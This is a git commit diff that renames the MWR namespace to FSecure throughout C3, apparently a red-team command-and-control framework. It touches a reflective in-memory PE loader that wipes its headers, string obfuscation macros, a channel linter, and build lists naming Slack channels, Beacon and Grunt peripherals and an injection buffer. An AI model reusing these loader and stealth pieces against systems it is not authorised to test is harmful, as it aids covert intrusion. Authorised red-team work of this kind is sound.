Merge branch 'MWRtoFS' into 'master'

Change MWR namespace to FSecure

See merge request C3/C3!171
dependabot/npm_and_yarn/Src/WebController/UI/websocket-extensions-0.1.4
Grzegorz Rychlik 2020-03-05 15:33:41 +00:00
commit 28f464b282
205 changed files with 1549 additions and 1549 deletions

View File

@ -361,7 +361,7 @@
<ClInclude Include="WindowsVersion.h" />
</ItemGroup>
<ItemGroup>
<Manifest Include="..\Common\MWR\WinTools\OsVersion.manifest" />
<Manifest Include="..\Common\FSecure\WinTools\OsVersion.manifest" />
</ItemGroup>
<ItemGroup>
<ResourceCompile Include="CebuLoader.rc" />

View File

@ -7,12 +7,12 @@
/// @param baseAddress of this Module
void ExecResource(void* baseAddress)
{
MWR_SET_QUIET_ABORT(
FSECURE_SET_QUIET_ABORT(
if (auto resource = FindStartOfResource(baseAddress))
{
auto dllData = GetPayload(resource);
auto exportFunc = GetExportName(resource);
MWR::Loader::LoadPe(dllData, exportFunc);
FSecure::Loader::LoadPe(dllData, exportFunc);
}
);
}

View File

@ -2,7 +2,7 @@
#include "LoadPe.h"
namespace MWR::Loader
namespace FSecure::Loader
{
#pragma warning( push )
@ -295,7 +295,7 @@ namespace MWR::Loader
///
// STEP 7.1: Set static TLS values
///
MWR::Loader::UnexportedWinApi::LdrpHandleTlsData((void*)baseAddress);
FSecure::Loader::UnexportedWinApi::LdrpHandleTlsData((void*)baseAddress);
///
// STEP 8: execute TLS callbacks
@ -326,7 +326,7 @@ namespace MWR::Loader
}
#elif defined _M_IX86
MWR::Loader::UnexportedWinApi::RtlInsertInvertedFunctionTable((void*)baseAddress, ntHeaders->OptionalHeader.SizeOfImage);
FSecure::Loader::UnexportedWinApi::RtlInsertInvertedFunctionTable((void*)baseAddress, ntHeaders->OptionalHeader.SizeOfImage);
#endif
// wipe the headers

View File

@ -1,6 +1,6 @@
#pragma once
namespace MWR::Loader
namespace FSecure::Loader
{
/// type of function that can be called by LoadPe
typedef void (*ExportFunc)(void);

View File

@ -1,7 +1,7 @@
#include "stdafx.h"
#include "PeUtils.h"
namespace MWR::Loader
namespace FSecure::Loader
{
PIMAGE_DOS_HEADER GetDosHeader(UINT_PTR baseAddress)
{

View File

@ -1,6 +1,6 @@
#pragma once
namespace MWR::Loader
namespace FSecure::Loader
{
/// Calculate VA from base address and RVA
/// @tparam T - type of return value

View File

@ -1,7 +1,7 @@
#include "stdafx.h"
#include "QuietAbort.h"
namespace MWR::Loader
namespace FSecure::Loader
{
std::jmp_buf g_JmpBuf;

View File

@ -2,12 +2,12 @@
/// Macro to wrap code that can call QuietAbort()
/// It should be used only once per call stack
#define MWR_SET_QUIET_ABORT(x) if(std::setjmp(MWR::Loader::g_JmpBuf) == 0) { x } else {}
#define FSECURE_SET_QUIET_ABORT(x) if(std::setjmp(FSecure::Loader::g_JmpBuf) == 0) { x } else {}
namespace MWR::Loader
namespace FSecure::Loader
{
extern std::jmp_buf g_JmpBuf;
/// Return execution just past the place where MWR_SET_QUIET_ABORT was used
/// Return execution just past the place where FSECURE_SET_QUIET_ABORT was used
[[noreturn]] void QuietAbort();
}

View File

@ -17,7 +17,7 @@
#include "LoadPe.h"
// C3 includes
//#include "Common/MWR/CppTools/ByteConverter.h"
//#include "Common/FSecure/CppTools/ByteConverter.h"
// Windows includes
#define NOMINMAX

View File

@ -7,7 +7,7 @@ using namespace std::string_literals;
// Based on Blackbone https://github.com/DarthTon/Blackbone
namespace MWR::Loader::UnexportedWinApi
namespace FSecure::Loader::UnexportedWinApi
{
namespace
{
@ -217,4 +217,4 @@ namespace MWR::Loader::UnexportedWinApi
}
#endif // defined _M_IX86
} // namespace MWR::Loader
} // namespace FSecure::Loader

View File

@ -1,6 +1,6 @@
#pragma once
namespace MWR::Loader::UnexportedWinApi
namespace FSecure::Loader::UnexportedWinApi
{
/// Wrapper around private ntdll!LdrpHandleTlsData
/// Initializes static data from .tls section

View File

@ -1,7 +1,7 @@
#include "stdafx.h"
#include "WindowsVersion.h"
namespace MWR::Loader
namespace FSecure::Loader
{
WinVersion g_WinVer;

View File

@ -5,7 +5,7 @@
#include <windows.h>
#include <winternl.h>
namespace MWR::Loader
namespace FSecure::Loader
{
enum Win32WinNt
{

View File

@ -3,7 +3,7 @@
## Thread local storage
Thread safe static variable initialization is often used to implement singleton pattern. (C3 uses it to automate registration of Interfaces).
```
MWR::C3::InterfaceFactory& MWR::C3::InterfaceFactory::Instance()
FSecure::C3::InterfaceFactory& FSecure::C3::InterfaceFactory::Instance()
{
static auto instance = InterfaceFactory{};
return instance;

View File

@ -1,6 +1,6 @@
#pragma once
namespace MWR::C3::Linter
namespace FSecure::C3::Linter
{
using StringVector = std::vector<std::string>;

View File

@ -1,7 +1,7 @@
#include "stdafx.h"
#include "ArgumentParser.h"
namespace MWR::C3::Linter
namespace FSecure::C3::Linter
{
ArgumentParser::ArgumentParser(int argc, char** argv) : m_ArgParser()
{

View File

@ -1,6 +1,6 @@
#pragma once
namespace MWR::C3::Linter
namespace FSecure::C3::Linter
{
/// Channel linter command line arguments parser
class ArgumentParser

View File

@ -3,7 +3,7 @@
#include "Core/Profiler.h"
namespace MWR::C3::Linter
namespace FSecure::C3::Linter
{
namespace
{
@ -125,11 +125,11 @@ namespace MWR::C3::Linter
}
}
std::shared_ptr<MWR::C3::Linter::MockDeviceBridge> ChannelLinter::MakeChannel(StringVector const& channnelArguments) const
std::shared_ptr<FSecure::C3::Linter::MockDeviceBridge> ChannelLinter::MakeChannel(StringVector const& channnelArguments) const
{
Form form(m_ChannelCapability.at("/create/arguments"_json_pointer));
auto createParams = form.Fill(channnelArguments);
auto blob = MWR::C3::Core::Profiler::TranslateArguments(createParams);
auto blob = FSecure::C3::Core::Profiler::TranslateArguments(createParams);
return MakeChannel(blob);
}
@ -148,7 +148,7 @@ namespace MWR::C3::Linter
for (size_t packetLen : { 8, 64, 1024, 1024 * 1024})
{
std::cout << "Testing channel with " << packetLen << " bytes of data ... " << std::flush;
auto data = ByteVector(MWR::Utils::GenerateRandomData(packetLen));
auto data = ByteVector(FSecure::Utils::GenerateRandomData(packetLen));
// call send and receive interleaved
size_t sentTotal = 0;
@ -188,7 +188,7 @@ namespace MWR::C3::Linter
std::cout << "OK" << std::endl;
}
MWR::ByteVector ChannelLinter::TranslateCommand(StringVector const& commandParams)
FSecure::ByteVector ChannelLinter::TranslateCommand(StringVector const& commandParams)
{
uint16_t commandId = GetCommandId(commandParams.at(0));

View File

@ -1,6 +1,6 @@
#pragma once
namespace MWR::C3::Linter
namespace FSecure::C3::Linter
{
class ChannelLinter
{

View File

@ -322,7 +322,7 @@
</ClCompile>
</ItemGroup>
<ItemGroup>
<Manifest Include="..\Common\MWR\WinTools\OsVersion.manifest" />
<Manifest Include="..\Common\FSecure\WinTools\OsVersion.manifest" />
</ItemGroup>
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.targets" />
<ImportGroup Label="ExtensionTargets">

View File

@ -1,7 +1,7 @@
<?xml version="1.0" encoding="utf-8"?>
<Project ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
<ItemGroup>
<Manifest Include="..\Common\MWR\WinTools\OsVersion.manifest" />
<Manifest Include="..\Common\FSecure\WinTools\OsVersion.manifest" />
</ItemGroup>
<ItemGroup>
<ClCompile Include="Form.cpp" />

View File

@ -8,7 +8,7 @@ try
{
std::cout << "Custom Command and Control - Channel linter. BUILD: " << C3_BUILD_VERSION << std::endl;
using namespace MWR;
using namespace FSecure;
C3::Linter::ArgumentParser argParser(argc, argv);
auto const& config = argParser.GetConfig();
if (config.m_ShowHelp)

View File

@ -1,7 +1,7 @@
#include "stdafx.h"
#include "Form.h"
namespace MWR::C3::Linter
namespace FSecure::C3::Linter
{
Form::Form(json argumentForm) :
m_ArgumentsForm(std::move(argumentForm))

View File

@ -1,6 +1,6 @@
#pragma once
namespace MWR::C3::Linter
namespace FSecure::C3::Linter
{
/// Representation of arguments form used in Capability json
class Form

View File

@ -1,7 +1,7 @@
#include "StdAfx.h"
#include "FormElement.h"
namespace MWR::C3::Linter
namespace FSecure::C3::Linter
{
namespace
{

View File

@ -1,6 +1,6 @@
#pragma once
namespace MWR::C3::Linter
namespace FSecure::C3::Linter
{
/// Abstract form element
class FormElement

View File

@ -1,7 +1,7 @@
#include "stdafx.h"
#include "MockDeviceBridge.h"
namespace MWR::C3::Linter
namespace FSecure::C3::Linter
{
MockDeviceBridge::MockDeviceBridge(std::shared_ptr<Device> device ) :
m_Device(move(device))
@ -48,12 +48,12 @@ namespace MWR::C3::Linter
throw std::logic_error("The method or operation is not implemented.");
}
MWR::ByteVector MockDeviceBridge::RunCommand(ByteView command)
FSecure::ByteVector MockDeviceBridge::RunCommand(ByteView command)
{
return GetDevice()->OnRunCommand(command);
}
MWR::ByteVector MockDeviceBridge::WhoAreYou()
FSecure::ByteVector MockDeviceBridge::WhoAreYou()
{
throw std::logic_error("The method or operation is not implemented.");
}
@ -62,7 +62,7 @@ namespace MWR::C3::Linter
{
static std::mutex mutex;
std::lock_guard lock(mutex);
std::cout << MWR::C3::Utils::ConvertLogMessageToConsoleText("", message, nullptr) << std::endl;
std::cout << FSecure::C3::Utils::ConvertLogMessageToConsoleText("", message, nullptr) << std::endl;
}
void MockDeviceBridge::SetUpdateDelay(std::chrono::milliseconds minUpdateDelay, std::chrono::milliseconds maxUpdateDelay)
@ -85,7 +85,7 @@ namespace MWR::C3::Linter
throw std::logic_error("The method or operation is not implemented.");
}
std::shared_ptr<MWR::C3::Device> MockDeviceBridge::GetDevice() const
std::shared_ptr<FSecure::C3::Device> MockDeviceBridge::GetDevice() const
{
return m_Device;
}

View File

@ -1,9 +1,9 @@
#pragma once
namespace MWR::C3::Linter
namespace FSecure::C3::Linter
{
/// Device bridge used to mock its functionality
class MockDeviceBridge : public MWR::C3::AbstractDeviceBridge, public std::enable_shared_from_this<MockDeviceBridge>
class MockDeviceBridge : public FSecure::C3::AbstractDeviceBridge, public std::enable_shared_from_this<MockDeviceBridge>
{
public:
/// Create Mock device bridge to device
@ -64,7 +64,7 @@ namespace MWR::C3::Linter
std::string GetErrorStatus() override;
/// @returns Bridged device
std::shared_ptr<MWR::C3::Device> GetDevice() const;
std::shared_ptr<FSecure::C3::Device> GetDevice() const;
private:
/// Bridged device

View File

@ -11,7 +11,7 @@
#include <utility>
// C3 inclusion.
#include "Common/MWR/C3/Sdk.hpp"
#include "Common/FSecure/C3/Sdk.hpp"
#include "Common/C3_BUILD_VERSION_HASH_PART.hxx"
using json = nlohmann::json;

View File

@ -23,7 +23,7 @@
#include "Inline.h"
#include "Indexes.h"
#include "MetaRandom.h"
#include "Common/MWR/SecureString.hpp"
#include "Common/FSecure/SecureString.hpp"
namespace andrivet::ADVobfuscator
{
@ -260,7 +260,7 @@ namespace andrivet::ADVobfuscator
#define OBF_STR(str) (std::string{DEF_OBFUSCATED(str).decrypt()})
#define OBF_WSTR(str) (std::wstring{DEF_OBFUSCATED_W(str).decrypt()})
#define OBF_SEC(str) (MWR::SecureString{DEF_OBFUSCATED(str).decrypt()})
#define OBF_WSEC(str) (MWR::SecureWString{DEF_OBFUSCATED_W(str).decrypt()})
#define OBF_SEC(str) (FSecure::SecureString{DEF_OBFUSCATED(str).decrypt()})
#define OBF_WSEC(str) (FSecure::SecureWString{DEF_OBFUSCATED_W(str).decrypt()})
#endif

View File

@ -14,31 +14,31 @@
<ProjectCapability Include="SourceItemsFromImports" />
</ItemGroup>
<ItemGroup>
<ClCompile Include="$(MSBuildThisFileDirectory)MWR\C3\Interfaces\Channels\Slack.cpp" />
<ClCompile Include="$(MSBuildThisFileDirectory)MWR\C3\Interfaces\Channels\UncShareFile.cpp" />
<ClCompile Include="$(MSBuildThisFileDirectory)MWR\C3\Interfaces\Connectors\MockServer.cpp" />
<ClCompile Include="$(MSBuildThisFileDirectory)MWR\C3\Interfaces\Connectors\Covenant.cpp" />
<ClCompile Include="$(MSBuildThisFileDirectory)MWR\C3\Interfaces\Connectors\TeamServer.cpp" />
<ClCompile Include="$(MSBuildThisFileDirectory)MWR\C3\Interfaces\Peripherals\Mock.cpp" />
<ClCompile Include="$(MSBuildThisFileDirectory)MWR\C3\Interfaces\Peripherals\Beacon.cpp" />
<ClCompile Include="$(MSBuildThisFileDirectory)MWR\C3\Interfaces\Peripherals\Grunt.cpp" />
<ClCompile Include="$(MSBuildThisFileDirectory)MWR\C3\Internals\Interface.cpp" />
<ClCompile Include="$(MSBuildThisFileDirectory)MWR\C3\Internals\InterfaceFactory.cpp" />
<ClCompile Include="$(MSBuildThisFileDirectory)MWR\CppTools\Compression.cpp" />
<ClCompile Include="$(MSBuildThisFileDirectory)MWR\CppTools\Encryption.cpp" />
<ClCompile Include="$(MSBuildThisFileDirectory)MWR\Crypto\Sodium.cpp" />
<ClCompile Include="$(MSBuildThisFileDirectory)MWR\Slack\SlackApi.cpp" />
<ClCompile Include="$(MSBuildThisFileDirectory)MWR\Sockets\AddrInfo.cpp" />
<ClCompile Include="$(MSBuildThisFileDirectory)MWR\Sockets\DuplexConnection.cpp" />
<ClCompile Include="$(MSBuildThisFileDirectory)MWR\Sockets\InitializeSockets.cpp" />
<ClCompile Include="$(MSBuildThisFileDirectory)MWR\Sockets\Socket.cpp" />
<ClCompile Include="$(MSBuildThisFileDirectory)MWR\WinTools\AbstractService.cpp" />
<ClCompile Include="$(MSBuildThisFileDirectory)MWR\WinTools\HostInfo.cpp" />
<ClCompile Include="$(MSBuildThisFileDirectory)MWR\WinTools\InjectionBuffer.cpp" />
<ClCompile Include="$(MSBuildThisFileDirectory)MWR\WinTools\Pipe.cpp" />
<ClCompile Include="$(MSBuildThisFileDirectory)MWR\WinTools\Proxy.cpp" />
<ClCompile Include="$(MSBuildThisFileDirectory)MWR\WinTools\Services.cpp" />
<ClCompile Include="$(MSBuildThisFileDirectory)MWR\WinTools\StructuredExceptionHandling.cpp" />
<ClCompile Include="$(MSBuildThisFileDirectory)FSecure\C3\Interfaces\Channels\Slack.cpp" />
<ClCompile Include="$(MSBuildThisFileDirectory)FSecure\C3\Interfaces\Channels\UncShareFile.cpp" />
<ClCompile Include="$(MSBuildThisFileDirectory)FSecure\C3\Interfaces\Connectors\MockServer.cpp" />
<ClCompile Include="$(MSBuildThisFileDirectory)FSecure\C3\Interfaces\Connectors\Covenant.cpp" />
<ClCompile Include="$(MSBuildThisFileDirectory)FSecure\C3\Interfaces\Connectors\TeamServer.cpp" />
<ClCompile Include="$(MSBuildThisFileDirectory)FSecure\C3\Interfaces\Peripherals\Mock.cpp" />
<ClCompile Include="$(MSBuildThisFileDirectory)FSecure\C3\Interfaces\Peripherals\Beacon.cpp" />
<ClCompile Include="$(MSBuildThisFileDirectory)FSecure\C3\Interfaces\Peripherals\Grunt.cpp" />
<ClCompile Include="$(MSBuildThisFileDirectory)FSecure\C3\Internals\Interface.cpp" />
<ClCompile Include="$(MSBuildThisFileDirectory)FSecure\C3\Internals\InterfaceFactory.cpp" />
<ClCompile Include="$(MSBuildThisFileDirectory)FSecure\CppTools\Compression.cpp" />
<ClCompile Include="$(MSBuildThisFileDirectory)FSecure\CppTools\Encryption.cpp" />
<ClCompile Include="$(MSBuildThisFileDirectory)FSecure\Crypto\Sodium.cpp" />
<ClCompile Include="$(MSBuildThisFileDirectory)FSecure\Slack\SlackApi.cpp" />
<ClCompile Include="$(MSBuildThisFileDirectory)FSecure\Sockets\AddrInfo.cpp" />
<ClCompile Include="$(MSBuildThisFileDirectory)FSecure\Sockets\DuplexConnection.cpp" />
<ClCompile Include="$(MSBuildThisFileDirectory)FSecure\Sockets\InitializeSockets.cpp" />
<ClCompile Include="$(MSBuildThisFileDirectory)FSecure\Sockets\Socket.cpp" />
<ClCompile Include="$(MSBuildThisFileDirectory)FSecure\WinTools\AbstractService.cpp" />
<ClCompile Include="$(MSBuildThisFileDirectory)FSecure\WinTools\HostInfo.cpp" />
<ClCompile Include="$(MSBuildThisFileDirectory)FSecure\WinTools\InjectionBuffer.cpp" />
<ClCompile Include="$(MSBuildThisFileDirectory)FSecure\WinTools\Pipe.cpp" />
<ClCompile Include="$(MSBuildThisFileDirectory)FSecure\WinTools\Proxy.cpp" />
<ClCompile Include="$(MSBuildThisFileDirectory)FSecure\WinTools\Services.cpp" />
<ClCompile Include="$(MSBuildThisFileDirectory)FSecure\WinTools\StructuredExceptionHandling.cpp" />
</ItemGroup>
<ItemGroup>
<ClInclude Include="$(MSBuildThisFileDirectory)ADVobfuscator\Indexes.h" />
@ -51,59 +51,59 @@
<ClInclude Include="$(MSBuildThisFileDirectory)CppRestSdk\include\cpprest\http_client.h" />
<ClInclude Include="$(MSBuildThisFileDirectory)json\json.hpp" />
<ClInclude Include="$(MSBuildThisFileDirectory)libSodium\include\sodium.h" />
<ClInclude Include="$(MSBuildThisFileDirectory)MWR\C3\Interfaces\Channels\Slack.h" />
<ClInclude Include="$(MSBuildThisFileDirectory)MWR\C3\Interfaces\Channels\UncShareFile.h" />
<ClInclude Include="$(MSBuildThisFileDirectory)MWR\C3\Interfaces\Peripherals\Beacon.h" />
<ClInclude Include="$(MSBuildThisFileDirectory)MWR\C3\Interfaces\Peripherals\Grunt.h" />
<ClInclude Include="$(MSBuildThisFileDirectory)MWR\C3\Internals\AutomaticRegistrator.h" />
<ClInclude Include="$(MSBuildThisFileDirectory)MWR\C3\Internals\BackendCommons.h" />
<ClInclude Include="$(MSBuildThisFileDirectory)MWR\C3\Internals\HasConstructor.h" />
<ClInclude Include="$(MSBuildThisFileDirectory)MWR\C3\Internals\Interface.h" />
<ClInclude Include="$(MSBuildThisFileDirectory)MWR\C3\Internals\Interface.hxx" />
<ClInclude Include="$(MSBuildThisFileDirectory)MWR\C3\Internals\InterfaceFactory.h" />
<ClInclude Include="$(MSBuildThisFileDirectory)MWR\C3\Interfaces\Peripherals\Mock.h" />
<ClInclude Include="$(MSBuildThisFileDirectory)MWR\C3\PrecompiledHeader.hpp" />
<ClInclude Include="$(MSBuildThisFileDirectory)MWR\C3\Sdk.hpp" />
<ClInclude Include="$(MSBuildThisFileDirectory)MWR\CppTools\ByteArray.h" />
<ClInclude Include="$(MSBuildThisFileDirectory)MWR\CppTools\ByteConverter.h" />
<ClInclude Include="$(MSBuildThisFileDirectory)MWR\CppTools\ByteVector.h" />
<ClInclude Include="$(MSBuildThisFileDirectory)MWR\CppTools\ByteView.h" />
<ClInclude Include="$(MSBuildThisFileDirectory)MWR\CppTools\Compression.h" />
<ClInclude Include="$(MSBuildThisFileDirectory)MWR\CppTools\Encryption.h" />
<ClInclude Include="$(MSBuildThisFileDirectory)MWR\CppTools\Hash.h" />
<ClInclude Include="$(MSBuildThisFileDirectory)MWR\CppTools\Payload.h" />
<ClInclude Include="$(MSBuildThisFileDirectory)MWR\CppTools\PrecompiledHeader.hpp" />
<ClInclude Include="$(MSBuildThisFileDirectory)MWR\CppTools\SafeSmartPointerContainer.h" />
<ClInclude Include="$(MSBuildThisFileDirectory)MWR\CppTools\ScopeGuard.h" />
<ClInclude Include="$(MSBuildThisFileDirectory)MWR\CppTools\Utils.h" />
<ClInclude Include="$(MSBuildThisFileDirectory)MWR\SecureString.hpp" />
<ClInclude Include="$(MSBuildThisFileDirectory)MWR\CppTools\XError.h" />
<ClInclude Include="$(MSBuildThisFileDirectory)MWR\Crypto\Base32.h" />
<ClInclude Include="$(MSBuildThisFileDirectory)MWR\Crypto\Base64.h" />
<ClInclude Include="$(MSBuildThisFileDirectory)MWR\Crypto\Crypto.hpp" />
<ClInclude Include="$(MSBuildThisFileDirectory)MWR\Crypto\EncryptionKey.h" />
<ClInclude Include="$(MSBuildThisFileDirectory)MWR\Crypto\Nonce.h" />
<ClInclude Include="$(MSBuildThisFileDirectory)MWR\Crypto\PrecompiledHeader.hpp" />
<ClInclude Include="$(MSBuildThisFileDirectory)MWR\Crypto\Sodium.h" />
<ClInclude Include="$(MSBuildThisFileDirectory)MWR\PrecompiledHeader.hpp" />
<ClInclude Include="$(MSBuildThisFileDirectory)MWR\Slack\SlackApi.h" />
<ClInclude Include="$(MSBuildThisFileDirectory)MWR\Sockets\AddrInfo.h" />
<ClInclude Include="$(MSBuildThisFileDirectory)MWR\Sockets\DuplexConnection.h" />
<ClInclude Include="$(MSBuildThisFileDirectory)MWR\Sockets\InitializeSockets.h" />
<ClInclude Include="$(MSBuildThisFileDirectory)MWR\Sockets\PrecompiledHeader.hpp" />
<ClInclude Include="$(MSBuildThisFileDirectory)MWR\Sockets\Socket.h" />
<ClInclude Include="$(MSBuildThisFileDirectory)MWR\Sockets\SocketsException.h" />
<ClInclude Include="$(MSBuildThisFileDirectory)MWR\Sockets\Sockets.hpp" />
<ClInclude Include="$(MSBuildThisFileDirectory)MWR\WinTools\AbstractService.h" />
<ClInclude Include="$(MSBuildThisFileDirectory)MWR\WinTools\HostInfo.h" />
<ClInclude Include="$(MSBuildThisFileDirectory)MWR\WinTools\InjectionBuffer.h" />
<ClInclude Include="$(MSBuildThisFileDirectory)MWR\WinTools\Pipe.h" />
<ClInclude Include="$(MSBuildThisFileDirectory)MWR\WinTools\Proxy.h" />
<ClInclude Include="$(MSBuildThisFileDirectory)MWR\WinTools\PrecompiledHeader.hpp" />
<ClInclude Include="$(MSBuildThisFileDirectory)MWR\WinTools\Services.h" />
<ClInclude Include="$(MSBuildThisFileDirectory)MWR\WinTools\StructuredExceptionHandling.h" />
<ClInclude Include="$(MSBuildThisFileDirectory)MWR\WinTools\UniqueHandle.h" />
<ClInclude Include="$(MSBuildThisFileDirectory)MWR\WinTools\XError.h" />
<ClInclude Include="$(MSBuildThisFileDirectory)FSecure\C3\Interfaces\Channels\Slack.h" />
<ClInclude Include="$(MSBuildThisFileDirectory)FSecure\C3\Interfaces\Channels\UncShareFile.h" />
<ClInclude Include="$(MSBuildThisFileDirectory)FSecure\C3\Interfaces\Peripherals\Beacon.h" />
<ClInclude Include="$(MSBuildThisFileDirectory)FSecure\C3\Interfaces\Peripherals\Grunt.h" />
<ClInclude Include="$(MSBuildThisFileDirectory)FSecure\C3\Internals\AutomaticRegistrator.h" />
<ClInclude Include="$(MSBuildThisFileDirectory)FSecure\C3\Internals\BackendCommons.h" />
<ClInclude Include="$(MSBuildThisFileDirectory)FSecure\C3\Internals\HasConstructor.h" />
<ClInclude Include="$(MSBuildThisFileDirectory)FSecure\C3\Internals\Interface.h" />
<ClInclude Include="$(MSBuildThisFileDirectory)FSecure\C3\Internals\Interface.hxx" />
<ClInclude Include="$(MSBuildThisFileDirectory)FSecure\C3\Internals\InterfaceFactory.h" />
<ClInclude Include="$(MSBuildThisFileDirectory)FSecure\C3\Interfaces\Peripherals\Mock.h" />
<ClInclude Include="$(MSBuildThisFileDirectory)FSecure\C3\PrecompiledHeader.hpp" />
<ClInclude Include="$(MSBuildThisFileDirectory)FSecure\C3\Sdk.hpp" />
<ClInclude Include="$(MSBuildThisFileDirectory)FSecure\CppTools\ByteArray.h" />
<ClInclude Include="$(MSBuildThisFileDirectory)FSecure\CppTools\ByteConverter.h" />
<ClInclude Include="$(MSBuildThisFileDirectory)FSecure\CppTools\ByteVector.h" />
<ClInclude Include="$(MSBuildThisFileDirectory)FSecure\CppTools\ByteView.h" />
<ClInclude Include="$(MSBuildThisFileDirectory)FSecure\CppTools\Compression.h" />
<ClInclude Include="$(MSBuildThisFileDirectory)FSecure\CppTools\Encryption.h" />
<ClInclude Include="$(MSBuildThisFileDirectory)FSecure\CppTools\Hash.h" />
<ClInclude Include="$(MSBuildThisFileDirectory)FSecure\CppTools\Payload.h" />
<ClInclude Include="$(MSBuildThisFileDirectory)FSecure\CppTools\PrecompiledHeader.hpp" />
<ClInclude Include="$(MSBuildThisFileDirectory)FSecure\CppTools\SafeSmartPointerContainer.h" />
<ClInclude Include="$(MSBuildThisFileDirectory)FSecure\CppTools\ScopeGuard.h" />
<ClInclude Include="$(MSBuildThisFileDirectory)FSecure\CppTools\Utils.h" />
<ClInclude Include="$(MSBuildThisFileDirectory)FSecure\SecureString.hpp" />
<ClInclude Include="$(MSBuildThisFileDirectory)FSecure\CppTools\XError.h" />
<ClInclude Include="$(MSBuildThisFileDirectory)FSecure\Crypto\Base32.h" />
<ClInclude Include="$(MSBuildThisFileDirectory)FSecure\Crypto\Base64.h" />
<ClInclude Include="$(MSBuildThisFileDirectory)FSecure\Crypto\Crypto.hpp" />
<ClInclude Include="$(MSBuildThisFileDirectory)FSecure\Crypto\EncryptionKey.h" />
<ClInclude Include="$(MSBuildThisFileDirectory)FSecure\Crypto\Nonce.h" />
<ClInclude Include="$(MSBuildThisFileDirectory)FSecure\Crypto\PrecompiledHeader.hpp" />
<ClInclude Include="$(MSBuildThisFileDirectory)FSecure\Crypto\Sodium.h" />
<ClInclude Include="$(MSBuildThisFileDirectory)FSecure\PrecompiledHeader.hpp" />
<ClInclude Include="$(MSBuildThisFileDirectory)FSecure\Slack\SlackApi.h" />
<ClInclude Include="$(MSBuildThisFileDirectory)FSecure\Sockets\AddrInfo.h" />
<ClInclude Include="$(MSBuildThisFileDirectory)FSecure\Sockets\DuplexConnection.h" />
<ClInclude Include="$(MSBuildThisFileDirectory)FSecure\Sockets\InitializeSockets.h" />
<ClInclude Include="$(MSBuildThisFileDirectory)FSecure\Sockets\PrecompiledHeader.hpp" />
<ClInclude Include="$(MSBuildThisFileDirectory)FSecure\Sockets\Socket.h" />
<ClInclude Include="$(MSBuildThisFileDirectory)FSecure\Sockets\SocketsException.h" />
<ClInclude Include="$(MSBuildThisFileDirectory)FSecure\Sockets\Sockets.hpp" />
<ClInclude Include="$(MSBuildThisFileDirectory)FSecure\WinTools\AbstractService.h" />
<ClInclude Include="$(MSBuildThisFileDirectory)FSecure\WinTools\HostInfo.h" />
<ClInclude Include="$(MSBuildThisFileDirectory)FSecure\WinTools\InjectionBuffer.h" />
<ClInclude Include="$(MSBuildThisFileDirectory)FSecure\WinTools\Pipe.h" />
<ClInclude Include="$(MSBuildThisFileDirectory)FSecure\WinTools\Proxy.h" />
<ClInclude Include="$(MSBuildThisFileDirectory)FSecure\WinTools\PrecompiledHeader.hpp" />
<ClInclude Include="$(MSBuildThisFileDirectory)FSecure\WinTools\Services.h" />
<ClInclude Include="$(MSBuildThisFileDirectory)FSecure\WinTools\StructuredExceptionHandling.h" />
<ClInclude Include="$(MSBuildThisFileDirectory)FSecure\WinTools\UniqueHandle.h" />
<ClInclude Include="$(MSBuildThisFileDirectory)FSecure\WinTools\XError.h" />
<ClInclude Include="$(MSBuildThisFileDirectory)zlib\include\zconf.h" />
<ClInclude Include="$(MSBuildThisFileDirectory)zlib\include\zlib.h" />
</ItemGroup>

View File

@ -1,31 +1,31 @@
<?xml version="1.0" encoding="utf-8"?>
<Project ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
<ItemGroup>
<ClCompile Include="$(MSBuildThisFileDirectory)MWR\C3\Interfaces\Channels\UncShareFile.cpp" />
<ClCompile Include="$(MSBuildThisFileDirectory)MWR\C3\Interfaces\Connectors\MockServer.cpp" />
<ClCompile Include="$(MSBuildThisFileDirectory)MWR\C3\Interfaces\Connectors\Covenant.cpp" />
<ClCompile Include="$(MSBuildThisFileDirectory)MWR\C3\Interfaces\Connectors\TeamServer.cpp" />
<ClCompile Include="$(MSBuildThisFileDirectory)MWR\C3\Interfaces\Peripherals\Mock.cpp" />
<ClCompile Include="$(MSBuildThisFileDirectory)MWR\C3\Interfaces\Peripherals\Beacon.cpp" />
<ClCompile Include="$(MSBuildThisFileDirectory)MWR\C3\Interfaces\Peripherals\Grunt.cpp" />
<ClCompile Include="$(MSBuildThisFileDirectory)MWR\C3\Internals\Interface.cpp" />
<ClCompile Include="$(MSBuildThisFileDirectory)MWR\C3\Internals\InterfaceFactory.cpp" />
<ClCompile Include="$(MSBuildThisFileDirectory)MWR\CppTools\Encryption.cpp" />
<ClCompile Include="$(MSBuildThisFileDirectory)MWR\Crypto\Sodium.cpp" />
<ClCompile Include="$(MSBuildThisFileDirectory)MWR\Sockets\AddrInfo.cpp" />
<ClCompile Include="$(MSBuildThisFileDirectory)MWR\Sockets\InitializeSockets.cpp" />
<ClCompile Include="$(MSBuildThisFileDirectory)MWR\Sockets\Socket.cpp" />
<ClCompile Include="$(MSBuildThisFileDirectory)MWR\WinTools\AbstractService.cpp" />
<ClCompile Include="$(MSBuildThisFileDirectory)MWR\WinTools\Pipe.cpp" />
<ClCompile Include="$(MSBuildThisFileDirectory)MWR\WinTools\Proxy.cpp" />
<ClCompile Include="$(MSBuildThisFileDirectory)MWR\WinTools\Services.cpp" />
<ClCompile Include="$(MSBuildThisFileDirectory)MWR\Sockets\DuplexConnection.cpp" />
<ClCompile Include="$(MSBuildThisFileDirectory)MWR\Slack\SlackApi.cpp" />
<ClCompile Include="$(MSBuildThisFileDirectory)MWR\C3\Interfaces\Channels\Slack.cpp" />
<ClCompile Include="$(MSBuildThisFileDirectory)MWR\WinTools\HostInfo.cpp" />
<ClCompile Include="$(MSBuildThisFileDirectory)MWR\WinTools\StructuredExceptionHandling.cpp" />
<ClCompile Include="$(MSBuildThisFileDirectory)MWR\WinTools\InjectionBuffer.cpp" />
<ClCompile Include="$(MSBuildThisFileDirectory)MWR\CppTools\Compression.cpp" />
<ClCompile Include="$(MSBuildThisFileDirectory)FSecure\C3\Interfaces\Channels\UncShareFile.cpp" />
<ClCompile Include="$(MSBuildThisFileDirectory)FSecure\C3\Interfaces\Connectors\MockServer.cpp" />
<ClCompile Include="$(MSBuildThisFileDirectory)FSecure\C3\Interfaces\Connectors\Covenant.cpp" />
<ClCompile Include="$(MSBuildThisFileDirectory)FSecure\C3\Interfaces\Connectors\TeamServer.cpp" />
